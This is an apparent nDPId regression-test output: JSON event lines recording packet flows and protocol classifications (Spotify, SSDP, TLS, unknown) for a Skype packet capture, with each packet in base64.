+00612{"flow_id":280,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2426,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969727,"pkt_ts_usec":685107,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"PBXCt3IO0NQSxnP1CABFCAC5GUJAADUGtQ6VDSAPwKgBIjRQw9XOgDXJ8SN7AoAZACJSwwAAAQEICj99LLQ+I9YKFwMBAA5YIsVlcbDCIEeU75q\/iRcDAQAOuMr+oH2xG5bvjaWg\/o4XAwEADu+FAJEpdImsS9E6llu4FwMBAA7DdkZ7LJ1K8QJPp1sNERcDAQAOvWw7zYt2Knvyv4gTP0cXAwEADvskhvCQQoUSwpm+CU06FwMBAA5rrDLSFK4BrlG4PQN\/WQ=="} +00427{"flow_id":280,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2427,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969727,"pkt_ts_usec":685223,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0JoxAAEAGnVHAqAEilQ0gD8PVNFDxI3sCzoA2T4AQECYF5QAAAQEICj4j1lo\/fSy0"} +00427{"flow_id":280,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2428,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969727,"pkt_ts_usec":685310,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0WQpAAEAGatPAqAEilQ0gD8PVNFDxI3sCzoA2T4ARECYF5AAAAQEICj4j1lo\/fSy0"} +00417{"flow_id":270,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2430,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969727,"pkt_ts_usec":878606,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":25,"pkt":"PBXCt3IO0NQSxnP1CABFAAAtmCZAADcGs55bvtp9wKgBIjA+w9E3PWT+DmLWR1AYA6AnKQAAFwMBAAAA"} +00410{"flow_id":270,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2431,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969727,"pkt_ts_usec":878680,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAog9ZAAEAGvvPAqAEiW77afcPRMD4OYtZHAAAAAFAEAADfIAAA"} +00522{"flow_id":221,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2444,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969728,"pkt_ts_usec":344489,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"0NQSxnP1PBXCt3IOCABFAAB4yJVAAEAGJ1bAqAEinTfrksOrAbuMrH6YAEk0NoAZECxcjgAAAQEICj4j2OpMXR6aqu6O72aW6xh35z3AV+yJQQlzV\/czZ3tOI38nltt4UVqSgJEIfqzGP6jAcvysYI+CHXjgzzv6OFuoeDW4oVrEywZ4EAM="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2451,"source":"skype.pcap","alias":"nDPId-test","flow_id":281,"flow_packet_id":1,"flow_first_seen":1431969728511,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":281,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2451,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969728,"pkt_ts_usec":511844,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"\/\/\/\/\/\/\/\/xCwDBkn+CABFAABIsLcAAEARRULAqAFcwKgB\/+EV4RUANFGUU3BvdFVkcDB5FYpWEIvHwwABAARIlcIDhMAbG8d8ZX7RWey9o+VAQ2IEJyw="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2451,"source":"skype.pcap","alias":"nDPId-test","flow_id":281,"flow_packet_id":1,"flow_first_seen":1431969728511,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","ndpi": {"proto":"Spotify","breed":"Acceptable","category":"Music"}} +00439{"flow_id":279,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2457,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969728,"pkt_ts_usec":712068,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8u3lAAEAGCFzAqAEilQ0gD8PUNFDIS2nzZKVBu4AZECqykgAAAQEICj4j2lc\/guieZ8yzMrUUW5Q="} +00457{"flow_id":272,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2458,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969728,"pkt_ts_usec":712328,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKohwAAEARVRPAqAEiwKgBAdxDADUANtEePu0BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDUBcgVza3lwZQNuZXQAABwAAQ=="} +00457{"flow_id":271,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2459,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969728,"pkt_ts_usec":712462,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKmkkAAEARXObAqAEiwKgBAc4GADUANhjrBXkBAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDUBcgVza3lwZQNuZXQAAAEAAQ=="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2460,"source":"skype.pcap","alias":"nDPId-test","flow_id":282,"flow_packet_id":1,"flow_first_seen":1431969728749,"flow_last_seen":0,"flow_tot_l4_data_len":507,"flow_min_l4_data_len":507,"flow_max_l4_data_len":507,"flow_avg_l4_data_len":507,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"239.255.255.250","src_port":50084,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01069{"flow_id":282,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2460,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969728,"pkt_ts_usec":749479,"pkt_caplen":541,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":541,"pkt_l4_len":507,"pkt":"AQBef\/\/6xCwDBkn+CABFAAIPEXQAAAER9GvAqAFc7\/\/\/+sOkB2wB+wkMTk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6Q29ubmVjdGlvbk1hbmFnZXI6MQ0KTlRTOnNzZHA6YWxpdmUNCkxvY2F0aW9uOmh0dHA6Ly8xMC4yMTEuNTUuMzoyODY5L3VwbnBob3N0L3VkaGlzYXBpLmRsbD9jb250ZW50PXV1aWQ6MmNiYzc4NWUtMjVmNC00MGNhLTk4YjUtMGQ1ODA0YWRhYThlDQpVU046dXVpZDoyY2JjNzg1ZS0yNWY0LTQwY2EtOThiNS0wZDU4MDRhZGFhOGU6OnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6Q29ubmVjdGlvbk1hbmFnZXI6MQ0KQ2FjaGUtQ29udHJvbDptYXgtYWdlPTkwMA0KU2VydmVyOk1pY3Jvc29mdC1XaW5kb3dzLU5ULzUuMSBVUG5QLzEuMCBVUG5QLURldmljZS1Ib3N0LzEuMA0KT1BUOiJodHRwOi8vc2NoZW1hcy51cG5wLm9yZy91cG5wLzEvMC8iOyBucz0wMQ0KMDEtTkxTOmQ0NmQ1MDA5ZTE0NzFiYTY4MDBlNDNlN2YwZTEyZWU0DQoNCg=="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2460,"source":"skype.pcap","alias":"nDPId-test","flow_id":282,"flow_packet_id":1,"flow_first_seen":1431969728749,"flow_last_seen":0,"flow_tot_l4_data_len":507,"flow_min_l4_data_len":507,"flow_max_l4_data_len":507,"flow_avg_l4_data_len":507,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"239.255.255.250","src_port":50084,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +01065{"flow_id":282,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2461,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969728,"pkt_ts_usec":750205,"pkt_caplen":539,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":539,"pkt_l4_len":505,"pkt":"AQBef\/\/6xCwDBkn+CABFAAIN8CkAAAERFbjAqAFc7\/\/\/+sOkB2wB+afnTk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6Q29udGVudERpcmVjdG9yeToxDQpOVFM6c3NkcDphbGl2ZQ0KTG9jYXRpb246aHR0cDovLzEwLjIxMS41NS4zOjI4NjkvdXBucGhvc3QvdWRoaXNhcGkuZGxsP2NvbnRlbnQ9dXVpZDoyY2JjNzg1ZS0yNWY0LTQwY2EtOThiNS0wZDU4MDRhZGFhOGUNClVTTjp1dWlkOjJjYmM3ODVlLTI1ZjQtNDBjYS05OGI1LTBkNTgwNGFkYWE4ZTo6dXJuOnNjaGVtYXMtdXBucC1vcmc6c2VydmljZTpDb250ZW50RGlyZWN0b3J5OjENCkNhY2hlLUNvbnRyb2w6bWF4LWFnZT05MDANClNlcnZlcjpNaWNyb3NvZnQtV2luZG93cy1OVC81LjEgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzpkNDZkNTAwOWUxNDcxYmE2ODAwZTQzZTdmMGUxMmVlNA0KDQo="} +00982{"flow_id":282,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2462,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969728,"pkt_ts_usec":750814,"pkt_caplen":475,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":475,"pkt_l4_len":441,"pkt":"AQBef\/\/6xCwDBkn+CABFAAHN3wIAAAERJx\/AqAFc7\/\/\/+sOkB2wBuX63Tk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVwbnA6cm9vdGRldmljZQ0KTlRTOnNzZHA6YWxpdmUNCkxvY2F0aW9uOmh0dHA6Ly8xMC4yMTEuNTUuMzoyODY5L3VwbnBob3N0L3VkaGlzYXBpLmRsbD9jb250ZW50PXV1aWQ6MmNiYzc4NWUtMjVmNC00MGNhLTk4YjUtMGQ1ODA0YWRhYThlDQpVU046dXVpZDoyY2JjNzg1ZS0yNWY0LTQwY2EtOThiNS0wZDU4MDRhZGFhOGU6OnVwbnA6cm9vdGRldmljZQ0KQ2FjaGUtQ29udHJvbDptYXgtYWdlPTkwMA0KU2VydmVyOk1pY3Jvc29mdC1XaW5kb3dzLU5ULzUuMSBVUG5QLzEuMCBVUG5QLURldmljZS1Ib3N0LzEuMA0KT1BUOiJodHRwOi8vc2NoZW1hcy51cG5wLm9yZy91cG5wLzEvMC8iOyBucz0wMQ0KMDEtTkxTOmQ0NmQ1MDA5ZTE0NzFiYTY4MDBlNDNlN2YwZTEyZWU0DQoNCg=="} +00993{"flow_id":282,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2463,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969728,"pkt_ts_usec":751505,"pkt_caplen":484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":484,"pkt_l4_len":450,"pkt":"AQBef\/\/6xCwDBkn+CABFAAHWqWoAAAERXK7AqAFc7\/\/\/+sOkB2wBwvRETk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnV1aWQ6MmNiYzc4NWUtMjVmNC00MGNhLTk4YjUtMGQ1ODA0YWRhYThlDQpOVFM6c3NkcDphbGl2ZQ0KTG9jYXRpb246aHR0cDovLzEwLjIxMS41NS4zOjI4NjkvdXBucGhvc3QvdWRoaXNhcGkuZGxsP2NvbnRlbnQ9dXVpZDoyY2JjNzg1ZS0yNWY0LTQwY2EtOThiNS0wZDU4MDRhZGFhOGUNClVTTjp1dWlkOjJjYmM3ODVlLTI1ZjQtNDBjYS05OGI1LTBkNTgwNGFkYWE4ZQ0KQ2FjaGUtQ29udHJvbDptYXgtYWdlPTkwMA0KU2VydmVyOk1pY3Jvc29mdC1XaW5kb3dzLU5ULzUuMSBVUG5QLzEuMCBVUG5QLURldmljZS1Ib3N0LzEuMA0KT1BUOiJodHRwOi8vc2NoZW1hcy51cG5wLm9yZy91cG5wLzEvMC8iOyBucz0wMQ0KMDEtTkxTOmQ0NmQ1MDA5ZTE0NzFiYTY4MDBlNDNlN2YwZTEyZWU0DQoNCg=="} +01086{"flow_id":282,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2464,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969728,"pkt_ts_usec":752225,"pkt_caplen":555,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":555,"pkt_l4_len":521,"pkt":"AQBef\/\/6xCwDBkn+CABFAAIdS3sAAAERulbAqAFc7\/\/\/+sOkB2wCCWYzTk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVybjptaWNyb3NvZnQuY29tOnNlcnZpY2U6WF9NU19NZWRpYVJlY2VpdmVyUmVnaXN0cmFyOjENCk5UUzpzc2RwOmFsaXZlDQpMb2NhdGlvbjpodHRwOi8vMTAuMjExLjU1LjM6Mjg2OS91cG5waG9zdC91ZGhpc2FwaS5kbGw\/Y29udGVudD11dWlkOjJjYmM3ODVlLTI1ZjQtNDBjYS05OGI1LTBkNTgwNGFkYWE4ZQ0KVVNOOnV1aWQ6MmNiYzc4NWUtMjVmNC00MGNhLTk4YjUtMGQ1ODA0YWRhYThlOjp1cm46bWljcm9zb2Z0LmNvbTpzZXJ2aWNlOlhfTVNfTWVkaWFSZWNlaXZlclJlZ2lzdHJhcjoxDQpDYWNoZS1Db250cm9sOm1heC1hZ2U9OTAwDQpTZXJ2ZXI6TWljcm9zb2Z0LVdpbmRvd3MtTlQvNS4xIFVQblAvMS4wIFVQblAtRGV2aWNlLUhvc3QvMS4wDQpPUFQ6Imh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7IG5zPTAxDQowMS1OTFM6ZDQ2ZDUwMDllMTQ3MWJhNjgwMGU0M2U3ZjBlMTJlZTQNCg0K"} +01049{"flow_id":282,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2465,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969728,"pkt_ts_usec":752882,"pkt_caplen":527,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":527,"pkt_l4_len":493,"pkt":"AQBef\/\/6xCwDBkn+CABFAAIBY0sAAAERoqLAqAFc7\/\/\/+sOkB2wB7a5yTk9USUZZICogSFRUUC8xLjENCkhvc3Q6MjM5LjI1NS4yNTUuMjUwOjE5MDANCk5UOnVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpNZWRpYVNlcnZlcjoxDQpOVFM6c3NkcDphbGl2ZQ0KTG9jYXRpb246aHR0cDovLzEwLjIxMS41NS4zOjI4NjkvdXBucGhvc3QvdWRoaXNhcGkuZGxsP2NvbnRlbnQ9dXVpZDoyY2JjNzg1ZS0yNWY0LTQwY2EtOThiNS0wZDU4MDRhZGFhOGUNClVTTjp1dWlkOjJjYmM3ODVlLTI1ZjQtNDBjYS05OGI1LTBkNTgwNGFkYWE4ZTo6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOk1lZGlhU2VydmVyOjENCkNhY2hlLUNvbnRyb2w6bWF4LWFnZT05MDANClNlcnZlcjpNaWNyb3NvZnQtV2luZG93cy1OVC81LjEgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzpkNDZkNTAwOWUxNDcxYmE2ODAwZTQzZTdmMGUxMmVlNA0KDQo="} +00417{"flow_id":239,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2466,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969728,"pkt_ts_usec":895674,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAuT74AAEARgXXAqAEisBo3pzLd+R0AGlkpnpMCdsJKc1x7UbKz9GM2ZaGK"} +00418{"flow_id":240,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2467,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969728,"pkt_ts_usec":895674,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAunZEAAEAR\/53AqAEiTLnPDDLdsbUAGjjJnpUCQdC3iFj2LQA5DiTAYUX6"} +00457{"flow_id":276,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2468,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969729,"pkt_ts_usec":163928,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLmscAAEARXGfAqAEiwKgBAfe9ADUAN4CxqiYBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00458{"flow_id":277,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2469,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969729,"pkt_ts_usec":164153,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLGzgAAEAR2\/bAqAEiwKgBAf4NADUANx167A0BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00439{"flow_id":275,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2471,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969729,"pkt_ts_usec":793386,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA84pdAAEAGuZTAqAEi1KEIJMPSNFCRDXEXwSvNzoAZEChEQAAAAQEICj4j3pA\/mk5203B1cONeI20="} +00442{"flow_id":273,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2472,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969730,"pkt_ts_usec":157478,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAyoMAAEARLLbAqAEiwKgBAc3qADUALN\/7ZhIBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00441{"flow_id":274,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2473,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969730,"pkt_ts_usec":157623,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAgmcAAEARdNLAqAEiwKgBAcpaADUALFPq9ZgBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00879{"flow_id":266,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2475,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969730,"pkt_ts_usec":313650,"pkt_caplen":398,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":398,"pkt_l4_len":364,"pkt":"0NQSxnP1PBXCt3IOCABFAAGA7b9AAEAGVhjAqAEiW77YF8POMD6CImX9rdWNC4AYECjQnAAAAQEICj4j4JgNJSaium5jNp\/t6MnvYv17vInE+u60ockfR5mfGTOro0QN8LMKnmAyvODPlTeyrnkoAUpKceu5uu4NlVO\/v7ctJqTBVS8o0R1CSL+EPA5s6N3+\/xSicLOSk8FOw0ZK8JvNsCjaQnMlPLIfYEsiQsmAyX1mhdmutUXuX1FlLSieJ868LDp8KWnZBPAIIPoWEV34j0UNNhg8OjdvwRinNdOManql86rY\/V2GVf6ms8Z9fpiOdcl2TxrxP9aSeZz3HmVMIj+c1\/jv3lQrBoXgfkzaS2fI27xuPVW4vOSfOCqdpBx40nBoPLwgs99WAHdL8kRdgfaFID96DQLsQ1X2UmAKMsqHqhcdQYFDK9h1czYRqgSNf6OjxZjjG\/RON6LXVdAjMLtOT1G4VUncOMp43DgkS1qIRYNmPbrc8XzQI4wvtYSHiTNizbbA6Gpepi0kbFY="} +00438{"flow_id":262,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2476,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969730,"pkt_ts_usec":396861,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8mg9AAEAGYFvAqAEiUA4uecPLET9q+leLFCuFJYAZECkMggAAAQEICj4j4OsAA1WWI9QHv+GwZuI="} +00428{"flow_id":262,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2477,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969730,"pkt_ts_usec":482726,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0oUFAAHQGJTFQDi55wKgBIhE\/w8sUK4UtavpXlIAQ\/5iQtgAAAQEICgADVhg+I+Dr"} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2481,"source":"skype.pcap","alias":"nDPId-test","flow_id":281,"flow_packet_id":1,"flow_first_seen":1431969728511,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00508{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2481,"source":"skype.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":15,"flow_first_seen":1431969643944,"flow_last_seen":1431969668477,"flow_tot_l4_data_len":801,"flow_min_l4_data_len":20,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.33","src_port":50030,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00488{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2481,"source":"skype.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":15,"flow_first_seen":1431969643944,"flow_last_seen":1431969668477,"flow_tot_l4_data_len":801,"flow_min_l4_data_len":20,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.33","src_port":50030,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00504{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":2481,"source":"skype.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":17,"flow_first_seen":1431969642336,"flow_last_seen":1431969661480,"flow_tot_l4_data_len":792,"flow_min_l4_data_len":20,"flow_max_l4_data_len":130,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.33","src_port":50026,"dst_port":40002,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00489{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2481,"source":"skype.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":17,"flow_first_seen":1431969642336,"flow_last_seen":1431969661480,"flow_tot_l4_data_len":792,"flow_min_l4_data_len":20,"flow_max_l4_data_len":130,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.33","src_port":50026,"dst_port":40002,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":279,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2481,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969730,"pkt_ts_usec":994053,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8KLZAAEAGmx\/AqAEilQ0gD8PUNFDIS2nzZKVBu4AZECqpqgAAAQEICj4j4z8\/guieZ8yzMrUUW5Q="} +00441{"flow_id":252,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2493,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969731,"pkt_ts_usec":488493,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8EFJAAEAGyb\/AqAEiUVNNjcPEROe9aVaB2bol\/oAZECkl8gAAAQEICj4j5SsAupldFs\/7EKwgSC8="} 